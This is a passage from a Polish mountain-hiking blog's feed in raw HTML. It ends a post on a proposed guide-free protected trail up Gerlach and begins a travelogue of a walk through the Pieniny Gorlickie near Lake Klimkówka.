Pod względem trudności i obiektywnego niebezpieczeństwa wejścia są to w porównaniu z <a href="https://marekowczarz.pl/wejscie-na-gerlach/">Gerlachem</a> często wyprawy znacznie trudniejsze. Jeśli wymaga tego bezpieczeństwo, na danym szczycie służą turystom i wspinaczom również odcinki ubezpieczone, ewentualnie inna pomocnicza infrastruktura.<br />
Europejska praktyka pokazuje nam, że usługi przewodnika wysokogórskiego nie są nigdzie obowiązkowe, z wyjątkiem Słowacji. Nowy regulamin odwiedzin Tatr Wysokich idzie pod tym względem we właściwym kierunku.<br />
Złagodził zasady, wprowadzając tzw. lekką wspinaczkę, ale jest ona uzależniona od ukończenia kursów SHS JAMES. Zgodnie z tą zasadą, jeśli na przykład fenomen światowej wspinaczki ekstremalnej Alex Honnold wybierze się normalną drogą na Gerlach, to teoretycznie musi wcześniej ukończyć kurs w JAMES-ie.<br />
Jeśli chodzi o wycieczkę na Gerlach, byłoby to możliwe także bez tych kursów, nie tylko według polskiego, ale przede wszystkim według europejskiego modelu. Zabezpieczony szlak nie jest terenem wspinaczkowym. Dlatego właśnie nową trasą byłoby to najbezpieczniejsze.</p>
<div id="attachment_53477" style="width: 670px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ab-17f0-7a23-bca3-9ce536c08997.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53477" class="size-full wp-image-53477" src="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ab-17f0-7a23-bca3-9ce536c08997.jpg" alt="" width="660" height="440" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ab-17f0-7a23-bca3-9ce536c08997.jpg 660w, https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ab-17f0-7a23-bca3-9ce536c08997-300x200.jpg 300w" sizes="(max-width: 660px) 100vw, 660px" /></a><p id="caption-attachment-53477" class="wp-caption-text">Gerlach z juhu (zdroj: Martin Murár)</p></div>
<p style="text-align: center;"><strong>Żadna anarchia, „tylko” logika</strong><br />
Także w przypadku budowy nowego zabezpieczonego szlaku turystycznego musi być ustalony i kontrolowany limit liczby odwiedzających. W przeciwnym razie szczyt straci wiele ze swojej atmosfery, a ryzyko wejścia nieproporcjonalnie wzrośnie.<br />
Ilu turystów dziennie udźwignie najwyższy szczyt tak, aby wyprawa dla każdego pozostała pięknym przeżyciem, pokaże dopiero praktyka w terenie. Wymaga to wysokiej jakości zarządzania i dyscypliny ze strony poważnie zainteresowanych wejściem.<br />
Realnym wariantem z minimum sztucznych ułatwień jest poprowadzenie nowej linii na Gerlach od Śląskiego Domu z czerwono znakowanej Tatrzańskiej Magistrali w kierunku Doliny Batyżowieckiej i przed nią w prawo, od południa, lewym ramieniem Kotła Gerlacha, przez Grzbiet Dromaderów i Wieże Urbanowe.<br />
O wytyczeniu szlaku jego pomysłodawcy poważnie rozmawiali z Radą TANAP-u już latem 2024 roku.<br />
Gerlach od południa (na pierwszym planie) ze swoim słynnym Kotłem. Planowana nowa droga ma prowadzić lewym ramieniem Kotła. (źródło: Martin Murár)</p>
<p style="text-align: center;"><strong>A logika idzie dalej</strong><br />
Przy wykorzystaniu tej nowej linii mogłoby codziennie wejść na szczyt nawet trzysta osób, z czego mniej więcej połowa — tak jak dotychczas — z przewodnikami wysokogórskimi przez Wielicką Próbę. TANAP albo organizacja z umową mandatową wydawaliby pozwolenie na wejście za opłatę administracyjną.<br />
Na przykład dziesięć euro to cena dostępna dla studentów, emerytów i samotnych rodziców. Taka kwota umożliwiłaby już utrzymanie szlaku, zarządzanie nim i trwałą zrównoważoność całego projektu. Byłby to więc wkład w funkcjonowanie systemu, a nie tylko opłata za wejście.<br />
Samo pozwolenie na wejście mogłoby być potwierdzane dopiero w ostatnim dniu przed wyjściem (na przykład do godziny 19:00). Turysta wraz z pozwoleniem otrzymałby jednocześnie informację z zaleceniem przedziału godzinowego, w którym ma wyruszyć na wycieczkę ze Śląskiego Domu oraz rozpocząć zejście ze szczytu, ale tylko z odpowiednim wyposażeniem zwiększającym jego bezpieczeństwo. Zapewniłoby to optymalne rozłożenie turystów na całej trasie.</p>
<div id="attachment_53478" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/653038397_1821280219148833_1557549486751597327_n_1600_x_1200.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53478" class="size-full wp-image-53478" src="https://marekowczarz.pl/wp-content/uploads/2026/04/653038397_1821280219148833_1557549486751597327_n_1600_x_1200.jpg" alt="" width="1600" height="775"></a><p id="caption-attachment-53478" class="wp-caption-text">król Gerlach</p></div>
<p style="text-align: center;"><strong>Przed południem w górę, po południu już tylko w dół</strong><br />
Nowa droga mogłaby na przykład przed południem służyć wyłącznie do wejścia, a po tym czasie tylko do zejścia. W przypadku niekorzystnych warunków (zagrożenie burzami, wichura, oblodzenie&#8230;) TANAP nie wydawałby pozwolenia na dany dzień. Ewentualnie wydałby je w bardziej ograniczonej liczbie i tylko na określoną część dnia.<br />
TANAP mógłby też w niektóre dni zalecać wejście wyłącznie z profesjonalistą (przewodnik wysokogórski UIAGM, przewodnik UIMLA, instruktor wspinaczki). Chodziłoby na przykład o dni z pogorszonymi warunkami w terenie.<br />
Odbiorcą opłaty administracyjnej byłby fundusz przeznaczony na utrzymanie nieznakowanych tras turystycznych. Zysk wracałby więc do konkretnego rozwoju Tatr. W przypadku niewydania zgody na wejście z powodu niekorzystnych warunków kandydat mógłby spróbować w innym terminie. Opłata administracyjna nie byłaby jednak zwracana. Ważne jest zrozumienie, że w góry nie wychodzi się wtedy, kiedy chcemy my, ale tylko wtedy, gdy pozwalają nam na to góry.<br />
Realizacja takiego projektu jest wielkim wyzwaniem. Wymaga dokładnego przygotowania i rozpoznania terenu. To już się wydarzyło. Priorytetem jest bezpieczeństwo i ochrona przyrody, a wszystko to z należnym szacunkiem dla już istniejących tras.</p>
<p style="text-align: center;"><strong>Jak powstał ten interesujący projekt?</strong><br />
To rozwiązanie po raz pierwszy przedstawił na posiedzeniu Rady TANAP-u wiosną 2024 roku Martin Murár, wieloletni instruktor wspinaczki, który wraz ze swoim zespołem pasjonatów od 2014 roku stworzył w Tatrach 22 nowe, bezpieczniejsze drogi wspinaczkowe, w tym także wspinanie dla rodziców z dziećmi.<br />
Na żadnej z nich do tej pory nie było żadnego wypadku ani interwencji Górskiego Pogotowia Ratunkowego.</p>
<div id="attachment_53474" style="width: 670px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ac-26a5-7037-8e50-ac9c37ec961c.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53474" class="wp-image-53474 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ac-26a5-7037-8e50-ac9c37ec961c.jpg" alt="" width="660" height="440" srcset="https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ac-26a5-7037-8e50-ac9c37ec961c.jpg 660w, https://marekowczarz.pl/wp-content/uploads/2026/04/019cf5ac-26a5-7037-8e50-ac9c37ec961c-300x200.jpg 300w" sizes="(max-width: 660px) 100vw, 660px" /></a><p id="caption-attachment-53474" class="wp-caption-text">Martin Murár</p></div>
<p style="text-align: center;">Pomysł stworzenia nowego zabezpieczonego szlaku na Gerlach nabrał bardziej konkretnego kształtu po rozpoczęciu komunikacji z administracją TANAP-u po zmianie regulaminu odwiedzin.<br />
Na posiedzeniu Rady TANAP-u wiosną 2024 roku projekt wyraźnie poparł także ówczesny dyrektor TANAP-u Peter Olexa. Nikt z obecnych nie protestował, także przedstawiciel HZS. Krytycznie do propozycji odniósł się jedynie przewodniczący Słowackiego Związku Wspinaczkowego JAMES, Anton Pacek. 🙂<br />
Na koniec już tylko tyle: mało kto wie, że kiedyś właśnie tą trasą od południa prowadził zielony znakowany szlak turystyczny na szczyt Gerlacha.&#8221;</p>
<p style="text-align: center;">źródło: <a href="https://www.denniksport.sk/.../moze-vzniknut-nova">https://www.denniksport.sk/&#8230;/moze-vzniknut-nova</a>&#8230;</p>
<p style="text-align: center;">Z górskim pozdrowieniem</p>
<p style="text-align: center;"><strong>Marcogor</strong></p>
<p style="text-align: center;">&nbsp;<a href="https://buycoffee.to/marcogor" target="_blank" rel="noopener"><img decoding="async" style="width: 351px; height: 92px;" src="https://buycoffee.to/static/img/share/share-button-primary.png" alt="Postaw mi kawę na buycoffee.to"></a></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-53447 size-medium" src="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png" alt="" width="300" height="300" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-300x300.png 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-150x150.png 150w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1-440x440.png 440w, https://marekowczarz.pl/wp-content/uploads/2026/03/Property1Default1_648a6cd69b-1.png 560w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>The post <a href="https://marekowczarz.pl/gerlach-legalnie-i-bez-przewodnika-jest-propozycja-i-szansa/">Gerlach legalnie i bez przewodnika? Jest propozycja i szansa</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></content:encoded>
					
					<wfw:commentRss>https://marekowczarz.pl/gerlach-legalnie-i-bez-przewodnika-jest-propozycja-i-szansa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Spacer po szczytach Pienin Gorlickich z Łosia nad Klimkówkę</title>
		<link>https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/</link>
					<comments>https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/#respond</comments>
		
		<dc:creator><![CDATA[marcogor]]></dc:creator>
		<pubDate>Sat, 11 Apr 2026 21:17:39 +0000</pubDate>
				<category><![CDATA[2026]]></category>
		<category><![CDATA[Beskid Niski]]></category>
		<category><![CDATA[Opis krajoznawczy]]></category>
		<category><![CDATA[beskid gorlicki]]></category>
		<category><![CDATA[czerteżyki]]></category>
		<category><![CDATA[klimkówka]]></category>
		<category><![CDATA[kunkowa]]></category>
		<category><![CDATA[pieniny gorlickie]]></category>
		<category><![CDATA[przysłupianka]]></category>
		<category><![CDATA[ubocz]]></category>
		<category><![CDATA[łosie]]></category>
		<category><![CDATA[łysiec]]></category>
		<guid isPermaLink="false">https://marekowczarz.pl/?p=53442</guid>

					<description><![CDATA[<p>Spacer po Beskidzie Gorlickim, a konkretnie zdobycie trzech szczytów Pienin Gorlickich w pobliżu przełomu Ropy. Trasa z Łosia nad Zalew Klimkówka i do Kunkowej.</p>
The post <a href="https://marekowczarz.pl/spacer-po-szczytach-pienin-gorlickich-z-losia-nad-klimkowke/">Spacer po szczytach Pienin Gorlickich z Łosia nad Klimkówkę</a> first appeared on <a href="https://marekowczarz.pl">MarekOwczarz.pl - blog o turystyce górskiej</a>.]]></description>
										<content:encoded><![CDATA[<p><em><strong>Korzystając</strong></em> z niezwykle ciepłego marca tego roku wybrałem się na ciągle odkładaną wędrówkę po <a href="https://marekowczarz.pl/moj-beskid-niski-czyli-w-moim-raju-beskidzie-gorlickim/">Beskidzie Gorlickim</a>. Tak to już jest, że tam, gdzie mamy najbliżej nie możemy jakoś się wybrać, bo zawsze coś jest atrakcyjniejsze&#8230; 🙂 Tym razem było inaczej i pojechałem w pobliże Zalewu Klimkówka nieopodal <a href="https://marekowczarz.pl/gorlice-moje-miasto/">Gorlic</a>, gdyż chciałem odkryć tamtejsze góry, zwane potocznie jako Pieniny Gorlickie. Obejmują one szczyty między miejscowościami Łosie, Klimkówka i Kunkowa, a więc tam gdzie rzeka Ropa tworzy słynny przełom i wybudowano zaporę wodną, by utworzyć znane z filmu sztuczne jezioro. <span id="more-53442"></span></p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53449" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-21-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Bowiem nad Jeziorem Klimkówka kręcono sceny &#8222;Ogniem i mieczem&#8221; Jerzego Hoffmana, które &#8222;udawało na potrzeby filmu rzekę Dniepr. Dojechałem do małej wsi Łosie leżącej u wrót przełomu Ropy, by zrobić małą 15 km pętlę po najwyższych szczytach <a href="https://marekowczarz.pl/wschod-slonca-na-sokolicy-i-dalej-az-na-trzy-korony/">Pienin</a> Gorlickich. Nie ma tam szlaków, ale są liczne drogi leśne, więc wędrówka nie była jakoś trudna orientacyjnie, jeśli ma się dobrą mapę ze sobą! Kluczowym problemem było trafić na właściwą drogę wedle obranego planu, żeby nie nadkładać trasy&#8230;</p>
<div id="attachment_53450" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-10.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53450" class="size-large wp-image-53450" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-10-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-10-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-10-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-10.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53450" class="wp-caption-text">bród na rzece Ropa</p></div>
<p>Początki tych terenów sięgają przed 1359, kiedy to Kazimierz Wielki nadał ziemie w dolinie rzeki Ropy wraz z istniejącą wsią Losze Janowi Gładyszowi z Szymbarku. Osada była pierwotnie zamieszkana przez ludność łemkowską, co uległo zmianie w 1947 wraz z akcją „Wisła”. Od końca XIX w. Łemkowie z Łosia znani byli z wytwórstwa smaru do maszyn i pojazdów (tzw. mazi) oraz ludowych medykamentów wytwarzanych z wydobywanej na małą skalę ropy naftowej i produkowanego w wyniku destylacji drewna dziegciu.</p>
<div id="attachment_53451" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-4-e1774816763459.jpeg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53451" class="wp-image-53451 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-4-e1774816763459.jpeg" alt="" width="1600" height="1200"></a><p id="caption-attachment-53451" class="wp-caption-text">zagroda maziarska w Łosiu</p></div>
<p>Produkty te sprzedawali w trakcie podróży odbywanych charakterystycznymi wozami, samych producentów-kupców zaś nazywano „maziarzami”. Maziarze z Łosia handlowali swoimi wyrobami na dużą skalę: jeździli do Warszawy, Kalisza, Łomży oraz na Słowację, do Siedmiogrodu i Moraw. Docierali nawet do Rygi i Jekaterynburga! Jak widzicie mała wieś, ale z olbrzymią historią! Dzisiaj możemy tam zwiedzić skansen etnograficzny- zagrodę maziarską. Warto również zobaczyć piękną, drewnianą cerkiew greckokatolicką pw. Narodzenia NMP z 1810 r. Obok stoi dzwonnica wybudowana przed 1939.</p>
<div id="attachment_53452" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-47-e1774816865541.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53452" class="wp-image-53452 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-47-e1774816865541.jpg" alt="" width="1600" height="1066"></a><p id="caption-attachment-53452" class="wp-caption-text">cerkiew w Łosiu</p></div>
<p>Ale do zabytków zalicza się także drewniana kaplica cmentarna z 1754 r. na nowym cmentarzu. Pierwotnie było to prezbiterium cerkwi w Klimkówce. W 1989 r., przed zalaniem Klimkówki przez wody jeziora przeniesiona została na cmentarz w Łosiu. Na cmentarzu parafialnym zachowany jest również w bardzo dobrym stanie zabytkowy cmentarz z I wojny światowej zaprojektowany przez Hansa Mayra. Jak widzicie mała wieś może skrywać wiele sekretów&#8230; Zostawiłem ostatecznie auto na dużym parkingu przy restauracji &#8222;Zajazd Pstrąg u Eda&#8221;, skąd wyruszyłem na spacer!</p>
<div id="attachment_53453" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53453" class="size-full wp-image-53453" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-46-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53453" class="wp-caption-text">parking przed restauracją w Łosiu</p></div>
<p>Knajpa z hotelem znajduje się w przysiółku &#8221; Na Szlabancie&#8221;, a kawałek dalej dochodzimy do mostu na Ropie. Szosa prowadzi prosto w stronę zapory i możemy nią iść kilkaset metrów, aż po lewej zobaczymy bród na Ropie wyłożony betonowymi płytami. Po nich przechodzimy na drugą stronę wbijając się w prawo w wyraźną drogę leśną. Ale przy wysokim stanie wody możemy iść od razu przed mostem lewym brzegiem rzeki wyszukując leśną dróżkę, najpierw wzdłuż starego ogrodzenia, a potem odbijamy w lewo za zanikającą percią, która szybko doprowadzi nas do wyraźnej drogi leśnej biegnącej pod górę.</p>
<div id="attachment_53454" style="width: 778px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-2.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53454" class="size-large wp-image-53454" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-2-768x1024.jpg" alt="" width="768" height="1024" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-2-768x1024.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-2-225x300.jpg 225w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-2.jpg 900w" sizes="(max-width: 768px) 100vw, 768px" /></a><p id="caption-attachment-53454" class="wp-caption-text">widok z dzikiej ścieżki na most na Ropie</p></div>
<p>Po pierwszym podejściu skręcamy w prawo na inną drogę, a później schodzimy nią w dół do wspomnianego brodu. Jest to dłuższy wariant, ale skoro nie chciało mi się moczyć nóg, ani ściągać butów&#8230; 🙂 Odtąd wspinałem się znowu pod górę szeroką drogą leśną, która doprowadziła mnie nad zaporę na Ropie. Na skraju urwiska jest tam plac na ognisko z paleniskiem i ławeczkami, zapewne miejsce to wykorzystują leśnicy. Jak zejdziemy trochę niżej to między drzewami zobaczymy doskonale całą zaporę oraz częściowo także zalew Klimkówka. Po tym odkryciu wróciłem na znaną mi już drogę&#8230;</p>
<div id="attachment_53455" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53455" class="size-full wp-image-53455" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-13-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53455" class="wp-caption-text">widok na zaporę z okolic leśnej drogi na Ubocz</p></div>
<p>Jezioro Klimkowskie (Klimkówka) zostało utworzone na rzece Ropie w 1994 roku. Woda zretencjonowana w zbiorniku jest wykorzystywana do celów energetycznych. Poza funkcjami przyrodniczymi i krajobrazowymi zbiornik posiada również znaczenie przeciwpowodziowe, turystyczno-rekreacyjne oraz jest źródłem wody pitnej i przemysłowej dla Gorlic i Jasła. Wysokość zapory wynosi 37 m, zaś jej rozpiętość 210 m. Przy zaporze mieści się mała, szczytowa elektrownia o mocy 1,1 MW. Budowę zapory rozpoczęto w latach 70. XX wieku.</p>
<div id="attachment_53456" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-5-e1774817345952.jpeg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53456" class="size-full wp-image-53456" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-5-e1774817345952.jpeg" alt="" width="1600" height="1200"></a><p id="caption-attachment-53456" class="wp-caption-text">skalne odsłonięcie w okolicy przełomu Ropy</p></div>
<p>Zapora wodna przegrodziła dolinę w najwęższym miejscu, w którym rzeka Ropa przebija się między szczytami Kiczera-Żdżar (610 m, na zachodzie) i Ubocz (623 m, na wschodzie), należących do tzw. Pienin Gorlickich. Właśnie na ten ostatni wierzchołek zmierzałem. Trasa powyżej zapory skręca ostro w lewo i prowadzi dalej już prosto na pierwszą kulminację tych gór. Zaś zalew ciągnie się na długości ponad 5 km, z cofką dochodzącą pod Uście Gorlickie. Wybrzeże pomiędzy szosą, a jeziorem jest stopniowo zagospodarowywane.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-53457" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-20-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a></p>
<p>Na cyplu położonym ok. 1 km od zapory znajduje się ośrodek wypoczynkowy z przystanią, wypożyczalnią sprzętu wodnego, kąpieliskiem i obiektami gastronomicznymi. Linia brzegowa jest dość urozmaicona, wzdłuż brzegu znajduje się szereg małych zatoczek. Mogłem to obserwować po drodze, gdy między drzewami migotała tafla wody&#8230;&nbsp; Brzegi północno-wschodnie są strome, w większości zalesione, natomiast południowo-zachodnie – niskie i łatwo dostępne z szosy z Gorlic do Uścia Gorlickiego. W planie miałem jednak zamiar zejścia nad wodę i to się powiodło!</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-48.jpg"><img loading="lazy" decoding="async" class="aligncenter wp-image-53458 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-48-e1774819240620.jpg" alt="" width="720" height="863" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-48-e1774819240620.jpg 720w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-48-e1774819240620-250x300.jpg 250w" sizes="(max-width: 720px) 100vw, 720px" /></a></p>
<p>Prosta droga pod górę szybko i łatwo wyprowadziła mnie na wierzchołek Ubocza. Nie ma tam żadnej tabliczki, ale sprawdziłem GPS-em gdzie leży najwyższy punkt i udałem się dalej, w kierunku następnego szczytu. Mijamy ładne ostańce skalne z prawej, obniżamy się na małe siodełko, by w końcu podejść na kulminację Czerteżyków (628 m). Tutaj znowu nie ma żadnej tabliczki, więc historia się powtórzyła i rozpocząłem zejście na zalew. Wybrałem taki wariant trasy, by droga leśna doprowadziła mnie nad taflę jeziora w okolicy działek rekreacyjnych, w pobliżu ujścia potoku Przysłupianka do Klimkówki.</p>
<p><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-49.jpg"><img loading="lazy" decoding="async" class="aligncenter wp-image-53459 size-full" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-49-e1774818795286.jpg" alt="" width="720" height="832" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-49-e1774818795286.jpg 720w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-49-e1774818795286-260x300.jpg 260w" sizes="(max-width: 720px) 100vw, 720px" /></a></p>
<p>Zejście na brzeg przez mały zagajnik ułatwia umocowana tam lina. Bowiem z tej strony linia brzegowa jest dosyć podcięta. Nad wodą był zasłużony odpoczynek i przerwa na drugie śniadanie! Pięknie prezentuje się stąd potężny masyw Chełma w Górach Grybowskich, zamykający widnokrąg na północ. Na lewo od niego ciągnie się pasmo Homoli, aż po Tanią Górę. Wypoczęty ruszyłem dalej w kierunku wsi Kunkowa. prowadzi tam od działek szutrowa droga leśna, wzdłuż Przysłupianki. Biegnie jednak znacznie powyżej jej koryta&#8230;</p>
<div id="attachment_53460" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53460" class="size-full wp-image-53460" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-23-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53460" class="wp-caption-text">widok na Chełm znad zalewu, po lewej kościół w Klimkówce</p></div>
<p>Nadejście zabudowań wioski oznajmia piękna kapliczka przydrożna, gdzie zaczyna się szosa. Nią spacerowałem między domami, szukając cerkwi. Za mną coraz śmielej ukazywał się ogromny masyw Kopy (672 m), którą zostawiłem sobie na następny raz! Pierwsza pisana wzmianka o wsi pochodzi z 1599 roku w związku z zakupem kresu klimkowskiego przez Jana Potockiego. Choć na kamieniu jubileuszowym, który znajdziemy we wsi niedaleko cerkwi wypisana jest data powstania miejscowości na 1391 r. W końcu dotarłem do tej przepięknej świątyni leżącej na wzniesieniu nad domostwami.</p>
<div id="attachment_53461" style="width: 1610px" class="wp-caption aligncenter"><a href="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35.jpg"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-53461" class="size-full wp-image-53461" src="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35.jpg" alt="" width="1600" height="1200" srcset="https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35.jpg 1600w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35-300x225.jpg 300w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35-1024x768.jpg 1024w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35-768x576.jpg 768w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35-1536x1152.jpg 1536w, https://marekowczarz.pl/wp-content/uploads/2026/03/pieninki-gorlickie-35-1080x810.jpg 1080w" sizes="(max-width: 1600px) 100vw, 1600px" /></a><p id="caption-attachment-53461" class="wp-caption-text">cerkiew w Kunkowej</p></div>
